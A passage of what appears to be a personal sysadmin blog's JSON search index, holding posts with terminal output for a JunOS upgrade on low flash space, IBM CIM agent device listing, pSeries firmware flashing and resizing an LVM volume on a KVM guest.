style=\"display:flex;\"\u003e\u003cspan\u003eWARNING:     Use the \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;request system reboot\u0026#39;\u003c/span\u003e command\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWARNING:         when software installation is complete\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSaving package file \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esw\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003epkg\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ejunos\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eR5\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5.\u003c/span\u003etgz \u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecp: \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esw\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003epkg\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ejunos\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eR5\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5.\u003c/span\u003etgz: No space left on device\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSaving state \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e rollback \u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eamnesyac\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e request system reboot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eReboot the system \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e?\u003c/span\u003e [yes,no] (no) yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eShutdown NOW\u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[pid \u003cspan style=\"color:#ae81ff\"\u003e1988\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eamnesyac\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e***\u003c/span\u003e FINAL System shutdown message from root\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eamnesyac \u003cspan style=\"color:#f92672\"\u003e***\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSystem going down IMMEDIATELY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTimeout, server \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e responding\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"JunOS - Update with low space CF"},{"content":"Device successfully added. C:\\Program Files (x86)\\IBM\\dsagent\\bin\u0026gt;dscimcli.bat lsdev -l Type IP IP2 Username Storage Image Status C ode Level Min Codelevel ===== ======================================= ======================================= ========= ================ ========== = ============= ============== DS 10.XX.XX.XX - admin IBM.1750-68XXXXX successful 5 .2.2.533 5.0.6.235 DS 10.XX.XX.XX - admin IBM.1750-68XXXXX successful 5 .2.2.565 5.0.6.235 C:\\Program Files (x86)\\IBM\\dsagent\\bin\u0026gt; ","permalink":"https://www.deepreflect.net/2013/02/17/ibm-cim-agent-for-ds-open-api/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDevice successfully added.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eC:\\Program Files (x86)\\IBM\\dsagent\\bin\u0026gt;dscimcli.bat lsdev -l\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eType  IP                                      IP2                                     Username  Storage Image    Status     C\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eode Level     Min Codelevel\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e===== ======================================= ======================================= ========= ================ ========== =\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e============= ==============\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDS    10.XX.XX.XX                             -                                       admin     IBM.1750-68XXXXX successful 5\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.2.2.533      5.0.6.235\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDS    10.XX.XX.XX                             -                                       admin     IBM.1750-68XXXXX successful 5\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.2.2.565      5.0.6.235\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eC:\\Program Files (x86)\\IBM\\dsagent\\bin\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"IBM CIM Agent for DS Open API"},{"content":"user fspbld does not exist - using root group fspbld does not exist - using root 01SF240_418_382 ################################################## root@localhost:/home/root/code#/usr/lpp/diagnostics/bin/update_flash -f /tmp/fwupdate/01SF240_418_382 The image is valid and would update the temporary image to SF240_418. The new firmware level for the permanent image would be SF235_214. The current permanent system firmware image is SF235_214. The current temporary system firmware image is SF235_214. ***** WARNING: Continuing will reboot the system! ***** Do you wish to continue? Enter 1=Yes or 2=No 1 SHUTDOWN PROGRAM Fri Feb 8 10:16:44 CST 2013 0513-044 The sshd Subsystem was requested to stop. root@localhost:/home/root#/usr/lpp/diagnostics/bin/update_flash -c The commit operation is in progress. Please stand by. The commit operation was successful. ","permalink":"https://www.deepreflect.net/2013/02/17/pseries-firmware-upgrade/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003euser fspbld does not exist - using root\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egroup fspbld does not exist - using root\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e01SF240_418_382             ##################################################\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@localhost:/home/root/code#/usr/lpp/diagnostics/bin/update_flash -f /tmp/fwupdate/01SF240_418_382\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe image is valid and would update the temporary image to SF240_418.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe new firmware level for the permanent image would be SF235_214.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe current permanent system firmware image is SF235_214.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe current temporary system firmware image is SF235_214.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e***** WARNING: Continuing will reboot the system! *****\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDo you wish to continue?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEnter 1=Yes or 2=No\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSHUTDOWN PROGRAM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFri Feb  8 10:16:44 CST 2013\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e0513-044 The sshd Subsystem was requested to stop.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@localhost:/home/root#/usr/lpp/diagnostics/bin/update_flash -c\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe commit operation is in progress. Please stand by.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe commit operation was successful.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"pSeries Firmware Upgrade"},{"content":"The timeline of my life:\n","permalink":"https://www.deepreflect.net/resume/","summary":"\u003cp\u003eThe timeline of my life:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2020/12/timeline.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2020/12/timeline.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Résumé"},{"content":"Recently I\u0026rsquo;ve deployed some Blackberry Enterprise Server, this link is useful for firewalls policy deploy\nhttp://www.blackberry.com/btsc/KB11036\n","permalink":"https://www.deepreflect.net/2012/11/26/blackberry-services-netmask/","summary":"\u003cp\u003eRecently I\u0026rsquo;ve deployed some Blackberry Enterprise Server, this link is useful for firewalls policy deploy\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.blackberry.com/btsc/KB11036\"\u003ehttp://www.blackberry.com/btsc/KB11036\u003c/a\u003e\u003c/p\u003e","title":"Blackberry Services Netmask"},{"content":"[root@pbx01.mil1.wide-net.org ~]# df Filesystem 1K-blocks Used Available Use% Mounted on /dev/mapper/VolGroup00-LogVol00 1779856 1553320 138068 92% / /dev/vda1 101086 40798 55069 43% /boot tmpfs 513060 0 513060 0% /dev/shm [root@pbx01.mil1.wide-net.org ~]# vgscan Reading all physical volumes. This may take a while... Found volume group \u0026#34;VolGroup00\u0026#34; using metadata type lvm2 [root@pbx01.mil1.wide-net.org ~]# fdisk /dev/vda vda vda1 vda2 [root@pbx01.mil1.wide-net.org ~]# fdisk /dev/vda Command (m for help): p Disk /dev/vda: 4219 MB, 4219469824 bytes 255 heads, 63 sectors/track, 512 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/vda1 * 1 13 104391 83 Linux /dev/vda2 14 382 2963992+ 8e Linux LVM Command (m for help): d Partition number (1-4): 2 Command (m for help): p Disk /dev/vda: 4219 MB, 4219469824 bytes 255 heads, 63 sectors/track, 512 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/vda1 * 1 13 104391 83 Linux Command (m for help): n Command action e extended p primary partition (1-4) p Partition number (1-4): 2 First cylinder (14-512, default 14): Using default value 14 Last cylinder or +size or +sizeM or +sizeK (14-512, default 512): Using default value 512 Command (m for help): p Disk /dev/vda: 4219 MB, 4219469824 bytes 255 heads, 63 sectors/track, 512 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/vda1 * 1 13 104391 83 Linux /dev/vda2 14 512 4008217+ 83 Linux Command (m for help): t Partition number (1-4): 2 Hex code (type L to list codes): 8e Changed system type of partition 2 to 8e (Linux LVM) Command (m for help): p Disk /dev/vda: 4219 MB, 4219469824 bytes 255 heads, 63 sectors/track, 512 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/vda1 * 1 13 104391 83 Linux /dev/vda2 14 512 4008217+ 8e Linux LVM Command (m for help): w The partition table has been altered! Calling ioctl() to re-read partition table. WARNING: Re-reading the partition table failed with error 16: Device or resource busy. The kernel still uses the old table. The new table will be used at the next reboot. Syncing disks. [root@pbx01.mil1.wide-net.org ~]# reboot Broadcast message from root (pts/0) (Sat Sep 15 23:36:59 2012): The system is going down for reboot NOW! [root@pbx01.mil1.wide-net.org ~]# Connection to pbx01.mil1.wide-net.org closed by remote host. Connection to pbx01.mil1.wide-net.org closed. [leo@thinkleo3 ~]$ [root@pbx01.mil1.wide-net.org ~]# pvdisplay --- Physical volume --- PV Name /dev/vda2 VG Name VolGroup00 PV Size 2.83 GB / not usable 14.52 MB Allocatable yes PE Size (KByte) 32768 Total PE 90 Free PE 26 Allocated PE 64 PV UUID 3KFfOG-kfJZ-hNtT-0vo5-Lpzk-4iMR-rMmLzH [root@pbx01.mil1.wide-net.org ~]# pvresize /dev/vda2 Physical volume \u0026#34;/dev/vda2\u0026#34; changed 1 physical volume(s) resized / 0 physical volume(s) not resized [root@pbx01.mil1.wide-net.org ~]# pvdisplay --- Physical volume --- PV Name /dev/vda2 VG Name VolGroup00 PV Size 3.82 GB / not usable 10.09 MB Allocatable yes PE Size (KByte) 32768 Total PE 122 Free PE 58 Allocated PE 64 PV UUID 3KFfOG-kfJZ-hNtT-0vo5-Lpzk-4iMR-rMmLzH [root@pbx01.mil1.wide-net.org ~]# lvdisplay --- Logical volume --- LV Name /dev/VolGroup00/LogVol00 VG Name VolGroup00 LV UUID f134eo-A1TY-mj72-g16E-oBnl-fnNM-4hULDC LV Write Access read/write LV Status available # open 1 LV Size 1.75 GB Current LE 56 Segments 2 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 252:0 --- Logical volume --- LV Name /dev/VolGroup00/LogVol01 VG Name VolGroup00 LV UUID 1gNpNl-ypNO-bj4a-Gsyb-eGnS-UcFh-Rbocfj LV Write Access read/write LV Status available # open 1 LV Size 256.00 MB Current LE 8 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 252:1 [root@pbx01.mil1.wide-net.org ~]# lvresize /dev/VolGroup00/LogVol00 -l +1 Extending logical volume LogVol00 to 3.59 GB Insufficient free space: 1 extents needed, but only 0 available [root@pbx01.mil1.wide-net.org ~]# resize2fs /dev/VolGroup00/LogVol00 resize2fs 1.39 (29-May-2006) Filesystem at /dev/VolGroup00/LogVol00 is mounted on /; on-line resizing required Performing an on-line resize of /dev/VolGroup00/LogVol00 to 933888 (4k) blocks. The filesystem on /dev/VolGroup00/LogVol00 is now 933888 blocks long. [root@pbx01.mil1.wide-net.org ~]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/VolGroup00-LogVol00 3.5G 1.5G 1.8G 46% / /dev/vda1 99M 40M 54M 43% /boot tmpfs 502M 0 502M 0% /dev/shm [root@pbx01.mil1.wide-net.org ~]# reboot Broadcast message from root (pts/0) (Sat Sep 15 23:43:32 2012): The system is going down for reboot NOW! [root@pbx01.mil1.wide-net.org ~]#` ","permalink":"https://www.deepreflect.net/2012/11/26/linux-kvm-guest-lvm-disk-resize/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]# df\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFilesystem           1K-blocks      Used Available Use% Mounted on\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/dev/mapper/VolGroup00-LogVol00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e1779856   1553320    138068  92% /\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/dev/vda1               101086     40798     55069  43% /boot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etmpfs                   513060         0    513060   0% /dev/shm\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]# vgscan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eReading all physical volumes.  This may take a while...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFound volume group \u0026#34;VolGroup00\u0026#34; using metadata type lvm2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]# fdisk /dev/vda\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003evda   vda1  vda2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]# fdisk /dev/vda\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommand (m for help): p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDisk /dev/vda: 4219 MB, 4219469824 bytes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e255 heads, 63 sectors/track, 512 cylinders\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUnits = cylinders of 16065 * 512 = 8225280 bytes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDevice Boot      Start         End      Blocks   Id  System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/dev/vda1   *           1          13      104391   83  Linux\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/dev/vda2              14         382     2963992+  8e  Linux LVM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommand (m for help): d\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePartition number (1-4): 2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommand (m for help): p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDisk /dev/vda: 4219 MB, 4219469824 bytes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e255 heads, 63 sectors/track, 512 cylinders\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUnits = cylinders of 16065 * 512 = 8225280 bytes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDevice Boot      Start         End      Blocks   Id  System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/dev/vda1   *           1          13      104391   83  Linux\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommand (m for help): n\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommand action\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ee   extended\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ep   primary partition (1-4)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ep\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePartition number (1-4): 2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFirst cylinder (14-512, default 14):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUsing default value 14\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLast cylinder or +size or +sizeM or +sizeK (14-512, default 512):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUsing default value 512\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommand (m for help): p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDisk /dev/vda: 4219 MB, 4219469824 bytes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e255 heads, 63 sectors/track, 512 cylinders\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUnits = cylinders of 16065 * 512 = 8225280 bytes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDevice Boot      Start         End      Blocks   Id  System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/dev/vda1   *           1          13      104391   83  Linux\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/dev/vda2              14         512     4008217+  83  Linux\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommand (m for help): t\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePartition number (1-4): 2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHex code (type L to list codes): 8e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChanged system type of partition 2 to 8e (Linux LVM)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommand (m for help): p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDisk /dev/vda: 4219 MB, 4219469824 bytes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e255 heads, 63 sectors/track, 512 cylinders\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUnits = cylinders of 16065 * 512 = 8225280 bytes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDevice Boot      Start         End      Blocks   Id  System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/dev/vda1   *           1          13      104391   83  Linux\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/dev/vda2              14         512     4008217+  8e  Linux LVM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommand (m for help): w\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe partition table has been altered!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCalling ioctl() to re-read partition table.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWARNING: Re-reading the partition table failed with error 16: Device or resource busy.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe kernel still uses the old table.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe new table will be used at the next reboot.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSyncing disks.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]# reboot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eBroadcast message from root (pts/0) (Sat Sep 15 23:36:59 2012):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe system is going down for reboot NOW!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]# Connection to pbx01.mil1.wide-net.org closed by remote host.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eConnection to pbx01.mil1.wide-net.org closed.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo@thinkleo3 ~]$\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]# pvdisplay\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e--- Physical volume ---\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePV Name               /dev/vda2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVG Name               VolGroup00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePV Size               2.83 GB / not usable 14.52 MB\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAllocatable           yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePE Size (KByte)       32768\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTotal PE              90\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFree PE               26\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAllocated PE          64\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePV UUID               3KFfOG-kfJZ-hNtT-0vo5-Lpzk-4iMR-rMmLzH\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]# pvresize /dev/vda2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePhysical volume \u0026#34;/dev/vda2\u0026#34; changed\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e1 physical volume(s) resized / 0 physical volume(s) not resized\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@pbx01.mil1.wide-net.org ~]# pvdisplay\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e--- Physical volume ---\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePV Name               /dev/vda2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVG Name               VolGroup00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePV Size               3.82 GB / not usable 10.09 MB\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAllocatable           yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePE Size (KByte)       32768\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTotal PE              122\n\u003c/span\u003e\u003c/span\u003e\u003cspan 